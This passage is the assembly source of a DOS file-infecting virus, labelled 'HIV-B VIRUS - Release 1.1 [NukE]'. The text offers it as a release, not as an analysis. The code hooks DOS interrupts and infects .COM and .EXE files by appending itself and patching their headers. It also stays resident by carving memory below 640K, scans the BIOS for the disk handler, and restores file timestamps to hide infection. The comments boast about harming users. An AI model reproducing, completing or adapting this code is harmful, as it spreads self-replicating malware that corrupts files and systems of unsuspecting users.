|
DATA_26 DW 0
|
||||||
|
DATA_27 DW 706AH
|
||||||
|
DATA_28 DD 00000H
|
||||||
|
DATA_29 DW 0
|
||||||
|
DATA_30 DW 706AH
|
||||||
|
DATA_31 DD 00000H
|
||||||
|
DATA_32 DW 0
|
||||||
|
DATA_33 DW 706AH
|
||||||
|
DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
|
||||||
|
DB 'Edited by Rock Steady [NukE]', 0AH, 0DH
|
||||||
|
DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
|
||||||
|
DB '$'
|
||||||
|
DB 0E8H, 83H, 3, 3DH, 4DH, 4BH
|
||||||
|
DB 75H, 9, 55H, 8BH, 0ECH, 83H
|
||||||
|
DB 66H, 6, 0FEH, 5DH, 0CFH, 80H
|
||||||
|
DB 0FCH, 4BH, 74H, 12H, 3DH, 0
|
||||||
|
DB 3DH, 74H, 0DH, 3DH, 0, 6CH
|
||||||
|
DB 75H, 5, 80H, 0FBH, 0, 74H
|
||||||
|
DB 3
|
||||||
|
LOC_1:
|
||||||
|
JMP LOC_13
|
||||||
|
LOC_2:
|
||||||
|
PUSH ES ; Save All Regesters so that when
|
||||||
|
PUSH DS ; we restore the program it will
|
||||||
|
PUSH DI ; RUN correctly and hide the fact
|
||||||
|
PUSH SI ; that any Virii is tampering with
|
||||||
|
PUSH BP ; the System....
|
||||||
|
PUSH DX
|
||||||
|
PUSH CX
|
||||||
|
PUSH BX
|
||||||
|
PUSH AX
|
||||||
|
CALL SUB_6
|
||||||
|
CALL SUB_7
|
||||||
|
CMP AX,6C00H
|
||||||
|
JNE LOC_3 ; Jump if not equal
|
||||||
|
MOV DX,SI
|
||||||
|
LOC_3:
|
||||||
|
MOV CX,80H
|
||||||
|
MOV SI,DX
|
||||||
|
|
||||||
|
LOCLOOP_4:
|
||||||
|
INC SI ; Slowly down the System a
|
||||||
|
MOV AL,[SI] ; little.
|
||||||
|
OR AL,AL ; Zero ?
|
||||||
|
LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0
|
||||||
|
|
||||||
|
SUB SI,2
|
||||||
|
CMP WORD PTR [SI],4D4FH
|
||||||
|
JE LOC_7 ; Jump if equal
|
||||||
|
CMP WORD PTR [SI],4558H
|
||||||
|
JE LOC_6 ; Jump if equal
|
||||||
|
LOC_5:
|
||||||
|
JMP SHORT LOC_12 ;
|
||||||
|
DB 90H
|
||||||
|
LOC_6:
|
||||||
|
CMP WORD PTR [SI-2],452EH
|
||||||
|
JE LOC_8 ; Jump if equal
|
||||||
|
JMP SHORT LOC_5 ;
|
||||||
|
LOC_7:
|
||||||
|
NOP
|
||||||
|
CMP WORD PTR [SI-2],432EH
|
||||||
|
JNE LOC_5 ; Jump if not equal
|
||||||
|
LOC_8:
|
||||||
|
MOV AX,3D02H
|
||||||
|
CALL SUB_5
|
||||||
|
JC LOC_12 ; Jump if carry Set
|
||||||
|
MOV BX,AX
|
||||||
|
MOV AX,5700H
|
||||||
|
CALL SUB_5 ; Initsilize the virus...
|
||||||
|
MOV CS:DATA_24,CX ; A Basic Start up to check
|
||||||
|
MOV CS:DATA_25,DX ; The Interrup 21h
|
||||||
|
MOV AX,4200H
|
||||||
|
XOR CX,CX
|
||||||
|
XOR DX,DX
|
||||||
|
CALL SUB_5
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV DX,103H
|
||||||
|
MOV SI,DX
|
||||||
|
MOV CX,18H
|
||||||
|
MOV AH,3FH
|
||||||
|
CALL SUB_5
|
||||||
|
JC LOC_10 ; Jump if carry Set
|
||||||
|
CMP WORD PTR [SI],5A4DH
|
||||||
|
JNE LOC_9 ; Jump if not equal
|
||||||
|
CALL SUB_1
|
||||||
|
JMP SHORT LOC_10
|
||||||
|
LOC_9:
|
||||||
|
CALL SUB_4
|
||||||
|
LOC_10:
|
||||||
|
JC LOC_11 ; Jump if carry Set
|
||||||
|
MOV AX,5701H
|
||||||
|
MOV CX,CS:DATA_24
|
||||||
|
MOV DX,CS:DATA_25
|
||||||
|
CALL SUB_5
|
||||||
|
LOC_11:
|
||||||
|
MOV AH,3EH ; '>'
|
||||||
|
CALL SUB_5
|
||||||
|
LOC_12:
|
||||||
|
CALL SUB_7
|
||||||
|
POP AX ; A Stealth Procedure to
|
||||||
|
POP BX ; end the virus and restore
|
||||||
|
POP CX ; the program! Pup back all
|
||||||
|
POP DX ; regesters as we found them!
|
||||||
|
POP BP ; so nothings changed...
|
||||||
|
POP SI
|
||||||
|
POP DI
|
||||||
|
POP DS
|
||||||
|
POP ES
|
||||||
|
LOC_13:
|
||||||
|
JMP CS:DATA_28
|
||||||
|
DB 0B4H, 2AH, 0CDH, 21H, 0C3H
|
||||||
|
|
||||||
|
HIV ENDP
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_1 PROC NEAR ; Start of the Virus!
|
||||||
|
MOV AH,2AH ; Get the Date system Date!
|
||||||
|
INT 21H ; If its Friday Display the
|
||||||
|
; message at Data34 and End!
|
||||||
|
CMP AL,6
|
||||||
|
JE LOC_15 ; If Friday display message
|
||||||
|
JNZ LOC_14 ; If not continue infecting
|
||||||
|
LOC_14: ; and screwing the system!
|
||||||
|
MOV CX,[SI+16H]
|
||||||
|
ADD CX,[SI+8]
|
||||||
|
MOV AX,10H
|
||||||
|
MUL CX ; dx:ax = reg * ax
|
||||||
|
ADD AX,[SI+14H]
|
||||||
|
ADC DX,0
|
||||||
|
PUSH DX
|
||||||
|
PUSH AX
|
||||||
|
MOV AX,4202H
|
||||||
|
XOR CX,CX ; Zero register
|
||||||
|
XOR DX,DX ; Zero register
|
||||||
|
CALL SUB_5
|
||||||
|
CMP DX,0
|
||||||
|
JNE LOC_16 ; Jump if not equal
|
||||||
|
CMP AX,64EH
|
||||||
|
JAE LOC_16 ; Jump if above or =
|
||||||
|
POP AX
|
||||||
|
POP DX
|
||||||
|
STC ; Set carry flag
|
||||||
|
RETN
|
||||||
|
LOC_15:
|
||||||
|
MOV DX,OFFSET DATA_34+18H ; Display Message at Data34!
|
||||||
|
MOV AH,9 ; With New Offset Address in
|
||||||
|
INT 21H ; memory!
|
||||||
|
;
|
||||||
|
POP AX ; Restore all Regesters as if
|
||||||
|
POP BX ; nothing was changed and exit
|
||||||
|
POP CX ; virus and run File...
|
||||||
|
POP DX
|
||||||
|
POP SI
|
||||||
|
POP DI
|
||||||
|
POP BP
|
||||||
|
POP DS
|
||||||
|
POP ES
|
||||||
|
MOV AH,0 ; Exit Virus if your in a .EXE
|
||||||
|
INT 21H ; File!!!
|
||||||
|
; Exit virus if your in a .COM
|
||||||
|
INT 20H ; File!!!
|
||||||
|
LOC_16:
|
||||||
|
MOV DI,AX
|
||||||
|
MOV BP,DX
|
||||||
|
POP CX
|
||||||
|
SUB AX,CX
|
||||||
|
POP CX
|
||||||
|
SBB DX,CX
|
||||||
|
CMP WORD PTR [SI+0CH],0
|
||||||
|
JE LOC_RET_19 ; Jump if equal
|
||||||
|
CMP DX,0
|
||||||
|
JNE LOC_17 ; Jump if not equal
|
||||||
|
CMP AX,64EH
|
||||||
|
JNE LOC_17 ; Jump if not equal
|
||||||
|
STC ; Set carry flag
|
||||||
|
RETN
|
||||||
|
LOC_17:
|
||||||
|
MOV DX,BP
|
||||||
|
MOV AX,DI
|
||||||
|
PUSH DX
|
||||||
|
PUSH AX
|
||||||
|
ADD AX,64EH
|
||||||
|
ADC DX,0
|
||||||
|
MOV CX,200H
|
||||||
|
DIV CX ; Find out How much System
|
||||||
|
LES DI,DWORD PTR [SI+2] ; memory is available...
|
||||||
|
MOV CS:DATA_26,DI ;
|
||||||
|
MOV CS:DATA_27,ES ; Every so often make the
|
||||||
|
MOV [SI+2],DX ; system memory small than
|
||||||
|
CMP DX,0 ; what it already is...
|
||||||
|
JE LOC_18 ; Screws up the users hehe
|
||||||
|
INC AX
|
||||||
|
LOC_18:
|
||||||
|
MOV [SI+4],AX
|
||||||
|
POP AX
|
||||||
|
POP DX
|
||||||
|
CALL SUB_2
|
||||||
|
SUB AX,[SI+8]
|
||||||
|
LES DI,DWORD PTR [SI+14H]
|
||||||
|
MOV DS:DATA_9E,DI
|
||||||
|
MOV DS:DATA_10E,ES
|
||||||
|
MOV [SI+14H],DX ; Tie up some memory!
|
||||||
|
MOV [SI+16H],AX ; release it on next execution
|
||||||
|
MOV DS:DATA_11E,AX ; Jump to su routine to do
|
||||||
|
MOV AX,4202H ; this and disable interrups
|
||||||
|
XOR CX,CX
|
||||||
|
XOR DX,DX
|
||||||
|
CALL SUB_5
|
||||||
|
CALL SUB_3
|
||||||
|
JC LOC_RET_19
|
||||||
|
MOV AX,4200H
|
||||||
|
XOR CX,CX ; Zero register
|
||||||
|
XOR DX,DX ; Zero register
|
||||||
|
CALL SUB_5
|
||||||
|
MOV AH,40H
|
||||||
|
MOV DX,SI
|
||||||
|
MOV CX,18H
|
||||||
|
CALL SUB_5
|
||||||
|
LOC_RET_19:
|
||||||
|
RETN
|
||||||
|
SUB_1 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_2 PROC NEAR
|
||||||
|
MOV CX,4
|
||||||
|
MOV DI,AX
|
||||||
|
AND DI,0FH
|
||||||
|
|
||||||
|
LOCLOOP_20:
|
||||||
|
SHR DX,1 ; Shift w/zeros fill
|
||||||
|
RCR AX,1 ; Rotate thru carry
|
||||||
|
LOOP LOCLOOP_20 ; Loop if cx > 0
|
||||||
|
|
||||||
|
MOV DX,DI
|
||||||
|
RETN
|
||||||
|
SUB_2 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_3 PROC NEAR
|
||||||
|
MOV AH,40H
|
||||||
|
MOV CX,64EH
|
||||||
|
MOV DX,100H
|
||||||
|
CALL SUB_6
|
||||||
|
JMP SHORT LOC_24
|
||||||
|
DB 90H
|
||||||
|
|
||||||
|
;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_4:
|
||||||
|
MOV AX,4202H
|
||||||
|
XOR CX,CX ; Zero register
|
||||||
|
XOR DX,DX ; Zero register
|
||||||
|
CALL SUB_5
|
||||||
|
CMP AX,64EH
|
||||||
|
JB LOC_RET_23 ; Jump if below
|
||||||
|
CMP AX,0FA00H
|
||||||
|
JAE LOC_RET_23 ; Jump if above or =
|
||||||
|
PUSH AX
|
||||||
|
CMP BYTE PTR [SI],0E9H
|
||||||
|
JNE LOC_21 ; Jump if not equal
|
||||||
|
SUB AX,651H
|
||||||
|
CMP AX,[SI+1]
|
||||||
|
JNE LOC_21 ; Jump if not equal
|
||||||
|
POP AX
|
||||||
|
STC ; Set carry flag
|
||||||
|
RETN
|
||||||
|
LOC_21:
|
||||||
|
CALL SUB_3
|
||||||
|
JNC LOC_22 ; Jump if carry=0
|
||||||
|
POP AX
|
||||||
|
RETN
|
||||||
|
LOC_22:
|
||||||
|
MOV AX,4200H
|
||||||
|
XOR CX,CX ; Zero register
|
||||||
|
XOR DX,DX ; Zero register
|
||||||
|
CALL SUB_5
|
||||||
|
POP AX
|
||||||
|
SUB AX,3
|
||||||
|
MOV DX,122H
|
||||||
|
MOV SI,DX
|
||||||
|
MOV BYTE PTR CS:[SI],0E9H
|
||||||
|
MOV CS:[SI+1],AX
|
||||||
|
MOV AH,40H
|
||||||
|
MOV CX,3
|
||||||
|
CALL SUB_5
|
||||||
|
|
||||||
|
LOC_RET_23:
|
||||||
|
RETN
|
||||||
|
SUB_3 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_5 PROC NEAR
|
||||||
|
LOC_24:
|
||||||
|
PUSHF ; Push flags
|
||||||
|
CALL CS:DATA_28
|
||||||
|
RETN
|
||||||
|
SUB_5 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_6 PROC NEAR
|
||||||
|
PUSH AX
|
||||||
|
PUSH DS
|
||||||
|
PUSH ES
|
||||||
|
XOR AX,AX ; Zero register
|
||||||
|
PUSH AX
|
||||||
|
POP DS
|
||||||
|
CLI ; Disable the interrupts
|
||||||
|
LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
|
||||||
|
MOV CS:DATA_29,AX ; to the COM File...
|
||||||
|
MOV CS:DATA_30,ES
|
||||||
|
MOV AX,46AH
|
||||||
|
MOV DS:DATA_5E,AX
|
||||||
|
MOV WORD PTR DS:DATA_5E+2,CS
|
||||||
|
LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
|
||||||
|
MOV CS:DATA_32,AX ; get your info needed on
|
||||||
|
MOV CS:DATA_33,ES ; System...
|
||||||
|
LES AX,CS:DATA_31
|
||||||
|
MOV DS:DATA_1E,AX
|
||||||
|
MOV WORD PTR DS:DATA_1E+2,ES
|
||||||
|
STI ; Enable the interrupts
|
||||||
|
POP ES ; and restore regesters!
|
||||||
|
POP DS ; go back to the file
|
||||||
|
POP AX ; being executed...
|
||||||
|
RETN
|
||||||
|
SUB_6 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_7 PROC NEAR
|
||||||
|
PUSH AX
|
||||||
|
PUSH DS
|
||||||
|
PUSH ES
|
||||||
|
XOR AX,AX ; Zero register
|
||||||
|
PUSH AX
|
||||||
|
POP DS
|
||||||
|
CLI ; Disable interrupts
|
||||||
|
LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
|
||||||
|
MOV DS:DATA_5E,AX ; yourself to the EXE
|
||||||
|
MOV WORD PTR DS:DATA_5E+2,ES
|
||||||
|
LES AX,DWORD PTR CS:DATA_32
|
||||||
|
MOV DS:DATA_1E,AX
|
||||||
|
MOV WORD PTR DS:DATA_1E+2,ES
|
||||||
|
STI ; Enable interrupts
|
||||||
|
POP ES
|
||||||
|
POP DS
|
||||||
|
POP AX
|
||||||
|
RETN
|
||||||
|
SUB_7 ENDP
|
||||||
|
|
||||||
|
DB 0B0H, 3, 0CFH, 50H, 53H, 51H
|
||||||
|
DB 52H, 56H, 57H, 55H, 1EH, 6
|
||||||
|
DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH
|
||||||
|
DB 62H, 4, 0A1H, 50H, 4, 2EH
|
||||||
|
DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
|
||||||
|
DB 4, 0A3H, 50H, 4, 2EH, 0A1H
|
||||||
|
DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9
|
||||||
|
DB 0B9H, 1, 0, 0CDH, 10H, 0E8H
|
||||||
|
DB 34H, 0, 0E8H, 0B7H, 0, 2EH
|
||||||
|
DB 0A1H, 0C7H, 4, 0A3H, 50H, 4
|
||||||
|
DB 0B3H, 2, 0B8H, 2, 9, 0B9H
|
||||||
|
DB 1, 0, 0CDH, 10H, 2EH, 0A1H
|
||||||
|
DB 0CEH, 4, 0A3H, 50H, 4, 7
|
||||||
|
DB 1FH
|
||||||
|
DB ']_^ZY[X.'
|
||||||
|
DB 0FFH, 2EH, 0CAH, 4
|
||||||
|
DATA_36 DW 0
|
||||||
|
DATA_37 DW 1010H
|
||||||
|
DATA_39 DB 0
|
||||||
|
DATA_40 DD 706A0000H
|
||||||
|
DB 0, 0, 2EH, 0A1H, 0C7H, 4
|
||||||
|
DB 8BH, 1EH, 4AH, 4, 4BH, 2EH
|
||||||
|
DB 0F6H, 6, 0C9H, 4, 1, 74H
|
||||||
|
DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH
|
||||||
|
DB 80H, 36H, 0C9H, 4, 1, 0EBH
|
||||||
|
DB 0AH
|
||||||
|
LOC_25:
|
||||||
|
CMP AL,0
|
||||||
|
JG LOC_26 ; Jump if >
|
||||||
|
XOR CS:DATA_39,1
|
||||||
|
LOC_26:
|
||||||
|
TEST CS:DATA_39,2
|
||||||
|
JZ LOC_27 ; Jump if zero
|
||||||
|
CMP AH,18H
|
||||||
|
JB LOC_28 ; Jump if below
|
||||||
|
XOR CS:DATA_39,2
|
||||||
|
JMP SHORT LOC_28
|
||||||
|
LOC_27:
|
||||||
|
CMP AH,0
|
||||||
|
JG LOC_28 ; Jump if >
|
||||||
|
XOR CS:DATA_39,2
|
||||||
|
LOC_28:
|
||||||
|
CMP BYTE PTR CS:DATA_36,20H
|
||||||
|
JE LOC_29 ; Jump if equal
|
||||||
|
CMP BYTE PTR CS:DATA_37+1,0
|
||||||
|
JE LOC_29 ; Jump if equal
|
||||||
|
XOR CS:DATA_39,2
|
||||||
|
LOC_29:
|
||||||
|
TEST CS:DATA_39,1
|
||||||
|
JZ LOC_30 ; Jump if zero
|
||||||
|
INC BYTE PTR CS:DATA_37
|
||||||
|
JMP SHORT LOC_31
|
||||||
|
LOC_30:
|
||||||
|
DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H)
|
||||||
|
LOC_31:
|
||||||
|
TEST CS:DATA_39,2 ; (706A:04C9=0)
|
||||||
|
JZ LOC_32 ; Jump if zero
|
||||||
|
INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
|
||||||
|
JMP SHORT LOC_RET_33 ; (0555)
|
||||||
|
LOC_32:
|
||||||
|
DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
|
||||||
|
|
||||||
|
LOC_RET_33:
|
||||||
|
RETN
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_8 PROC NEAR
|
||||||
|
MOV AX,CS:DATA_37
|
||||||
|
MOV DS:DATA_12E,AX ; Get info on type of Video
|
||||||
|
MOV BH,DS:DATA_13E ; Display the system has...
|
||||||
|
MOV AH,8
|
||||||
|
INT 10H ; with ah=functn 08h
|
||||||
|
; basically fuck the cursur..
|
||||||
|
MOV CS:DATA_36,AX
|
||||||
|
RETN
|
||||||
|
SUB_8 ENDP
|
||||||
|
|
||||||
|
DB 50H, 53H, 51H, 52H, 56H, 57H
|
||||||
|
DB 55H, 1EH, 6, 33H, 0C0H, 50H
|
||||||
|
DB 1FH, 81H, 3EH, 70H, 0, 6DH
|
||||||
|
DB 4, 74H, 35H, 0A1H, 6CH, 4
|
||||||
|
DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH
|
||||||
|
DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0
|
||||||
|
DB 75H, 24H, 0FAH, 8BH, 2EH, 50H
|
||||||
|
DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH
|
||||||
|
DB 50H, 4, 0C4H, 6, 70H, 0
|
||||||
|
DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH
|
||||||
|
DB 6, 0CCH, 4, 0C7H, 6, 70H
|
||||||
|
DB 0, 6DH, 4, 8CH, 0EH, 72H
|
||||||
|
DB 0, 0FBH
|
||||||
|
LOC_34:
|
||||||
|
POP ES
|
||||||
|
POP DS ; Restore and get lost...
|
||||||
|
POP BP
|
||||||
|
POP DI
|
||||||
|
POP SI
|
||||||
|
POP DX
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP AX
|
||||||
|
RETN
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
SUB_9 PROC NEAR
|
||||||
|
MOV DX,10H
|
||||||
|
MUL DX ; dx:ax = reg * ax
|
||||||
|
RETN
|
||||||
|
SUB_9 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_10 PROC NEAR
|
||||||
|
XOR AX,AX ; If if wants to dissamble
|
||||||
|
XOR BX,BX ; us give him a HARD time...
|
||||||
|
XOR CX,CX ; By making all into 0
|
||||||
|
XOR DX,DX ; Zero register
|
||||||
|
XOR SI,SI ; Zero register
|
||||||
|
XOR DI,DI ; Zero register
|
||||||
|
XOR BP,BP ; Zero register
|
||||||
|
RETN
|
||||||
|
SUB_10 ENDP
|
||||||
|
|
||||||
|
LOC_35:
|
||||||
|
PUSH DS
|
||||||
|
CALL SUB_11
|
||||||
|
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
;*- SUBROUTINE *-
|
||||||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||||
|
|
||||||
|
SUB_11 PROC NEAR
|
||||||
|
MOV AX,4B4DH
|
||||||
|
INT 21H ; Load and EXEC file...
|
||||||
|
; be runned...
|
||||||
|
NOP
|
||||||
|
JC LOC_36 ; Jump if carry Set
|
||||||
|
JMP LOC_46
|
||||||
|
LOC_36:
|
||||||
|
POP SI
|
||||||
|
PUSH SI
|
||||||
|
MOV DI,SI
|
||||||
|
XOR AX,AX ; Zero register
|
||||||
|
PUSH AX
|
||||||
|
POP DS
|
||||||
|
LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
|
||||||
|
MOV CS:DATA_49E[SI],AX ; Move lots of data
|
||||||
|
MOV CS:DATA_50E[SI],ES ; into CS to infect the file
|
||||||
|
LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
|
||||||
|
MOV CS:DATA_47E[DI],BX
|
||||||
|
MOV CS:DATA_48E[DI],ES
|
||||||
|
MOV AX,DS:DATA_7E
|
||||||
|
CMP AX,0F000H
|
||||||
|
JNE LOC_44 ; Jump if not equal
|
||||||
|
MOV DL,80H
|
||||||
|
MOV AX,DS:DATA_8E
|
||||||
|
CMP AX,0F000H
|
||||||
|
JE LOC_37 ; Jump if equal
|
||||||
|
CMP AH,0C8H
|
||||||
|
JB LOC_44 ; Jump if below
|
||||||
|
CMP AH,0F4H
|
||||||
|
JAE LOC_44 ; Jump if above or =
|
||||||
|
TEST AL,7FH
|
||||||
|
JNZ LOC_44 ; Jump if not zero
|
||||||
|
MOV DS,AX
|
||||||
|
CMP WORD PTR DS:DATA_51E,0AA55H
|
||||||
|
JNE LOC_44 ; Jump if not equal
|
||||||
|
MOV DL,DS:DATA_52E
|
||||||
|
LOC_37:
|
||||||
|
MOV DS,AX
|
||||||
|
XOR DH,DH ; Zero register
|
||||||
|
MOV CL,9
|
||||||
|
SHL DX,CL ; Shift w/zeros fill
|
||||||
|
MOV CX,DX
|
||||||
|
XOR SI,SI ; Zero register
|
||||||
|
|
||||||
|
LOCLOOP_38:
|
||||||
|
LODSW ; String [si] to ax
|
||||||
|
CMP AX,0FA80H
|
||||||
|
JNE LOC_39 ; Jump if not equal
|
||||||
|
LODSW ; String [si] to ax
|
||||||
|
CMP AX,7380H
|
||||||
|
JE LOC_40 ; Jump if equal
|
||||||
|
JNZ LOC_41 ; Jump if not zero
|
||||||
|
LOC_39:
|
||||||
|
CMP AX,0C2F6H
|
||||||
|
JNE LOC_42 ; Jump if not equal
|
||||||
|
LODSW ; String [si] to ax
|
||||||
|
CMP AX,7580H
|
||||||
|
JNE LOC_41 ; Jump if not equal
|
||||||
|
LOC_40:
|
||||||
|
INC SI
|
||||||
|
LODSW ; String [si] to ax
|
||||||
|
CMP AX,40CDH
|
||||||
|
JE LOC_43 ; Jump if equal
|
||||||
|
SUB SI,3
|
||||||
|
LOC_41:
|
||||||
|
DEC SI
|
||||||
|
DEC SI
|
||||||
|
LOC_42:
|
||||||
|
DEC SI
|
||||||
|
LOOP LOCLOOP_38 ; Loop if cx > 0
|
||||||
|
|
||||||
|
JMP SHORT LOC_44
|
||||||
|
LOC_43:
|
||||||
|
SUB SI,7
|
||||||
|
MOV CS:DATA_49E[DI],SI
|
||||||
|
MOV CS:DATA_50E[DI],DS
|
||||||
|
LOC_44:
|
||||||
|
MOV AH,62H
|
||||||
|
INT 21H ; Simple...Get the PSP
|
||||||
|
; Address (Program segment
|
||||||
|
MOV ES,BX ; address and but in BX)
|
||||||
|
MOV AH,49H
|
||||||
|
INT 21H ; Get the Free memory from
|
||||||
|
; the system
|
||||||
|
MOV BX,0FFFFH ; release extra memory blocks
|
||||||
|
MOV AH,48H
|
||||||
|
INT 21H ; Allocate the memory
|
||||||
|
; At BX (# bytes)
|
||||||
|
SUB BX,66H ; it attaches virus right
|
||||||
|
NOP ; under the 640k
|
||||||
|
JC LOC_46
|
||||||
|
MOV CX,ES ; did it work? If not just
|
||||||
|
STC ; end the virus...
|
||||||
|
ADC CX,BX
|
||||||
|
MOV AH,4AH
|
||||||
|
INT 21H ; Adjust teh memory block
|
||||||
|
; size! BX has the # of bytes
|
||||||
|
MOV BX,65H
|
||||||
|
STC ; Set carry flag
|
||||||
|
SBB ES:DATA_17E,BX ; Where to attach itself!
|
||||||
|
PUSH ES ; under 640K
|
||||||
|
MOV ES,CX
|
||||||
|
MOV AH,4AH
|
||||||
|
INT 21H ; Just change the memory
|
||||||
|
; allocations! (BX=Btyes Size)
|
||||||
|
MOV AX,ES
|
||||||
|
DEC AX
|
||||||
|
MOV DS,AX
|
||||||
|
MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k
|
||||||
|
CALL SUB_9
|
||||||
|
MOV BX,AX
|
||||||
|
MOV CX,DX
|
||||||
|
POP DS
|
||||||
|
MOV AX,DS
|
||||||
|
CALL SUB_9
|
||||||
|
ADD AX,DS:DATA_18E
|
||||||
|
ADC DX,0
|
||||||
|
SUB AX,BX
|
||||||
|
SBB DX,CX
|
||||||
|
JC LOC_45 ; Jump if carry Set
|
||||||
|
SUB DS:DATA_18E,AX
|
||||||
|
LOC_45:
|
||||||
|
MOV SI,DI
|
||||||
|
XOR DI,DI ; Zero register
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
SUB SI,4D7H
|
||||||
|
MOV CX,64EH
|
||||||
|
INC CX
|
||||||
|
REP MOVSB ; Rep when cx >0 Mov [si] to
|
||||||
|
MOV AH,62H ; es:[di]
|
||||||
|
INT 21H ; Get the Program segment
|
||||||
|
; prefix...so we can infect it
|
||||||
|
DEC BX
|
||||||
|
MOV DS,BX
|
||||||
|
MOV BYTE PTR DS:DATA_15E,5AH
|
||||||
|
MOV DX,1E4H
|
||||||
|
XOR AX,AX ; Zero register
|
||||||
|
PUSH AX
|
||||||
|
POP DS
|
||||||
|
MOV AX,ES
|
||||||
|
SUB AX,10H
|
||||||
|
MOV ES,AX
|
||||||
|
CLI ; Disable interrupts
|
||||||
|
MOV DS:DATA_3E,DX ;
|
||||||
|
MOV WORD PTR DS:DATA_3E+2,ES
|
||||||
|
STI ; Enable interrupts
|
||||||
|
